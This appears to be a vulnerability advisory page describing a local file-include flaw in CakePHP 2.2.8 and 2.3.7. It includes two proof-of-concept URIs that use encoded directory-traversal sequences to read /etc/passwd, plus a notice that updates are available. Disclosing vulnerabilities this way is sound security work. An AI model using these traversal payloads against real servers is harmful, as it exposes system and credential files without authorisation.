CakePHP AssetDispatcher Class Local File Include Vulnerability

BID:61746

Info

CakePHP AssetDispatcher Class Local File Include Vulnerability

Bugtraq ID: 61746
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 13 2013 12:00AM
Updated: Aug 13 2013 12:00AM
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Vulnerable:
Not Vulnerable:

Discussion

CakePHP AssetDispatcher Class Local File Include Vulnerability

CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected.

Exploit / POC

CakePHP AssetDispatcher Class Local File Include Vulnerability

An attacker can exploit this issue using a web browser.

The following example URIs are available:

http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

Solution / Fix

CakePHP AssetDispatcher Class Local File Include Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

CakePHP AssetDispatcher Class Local File Include Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report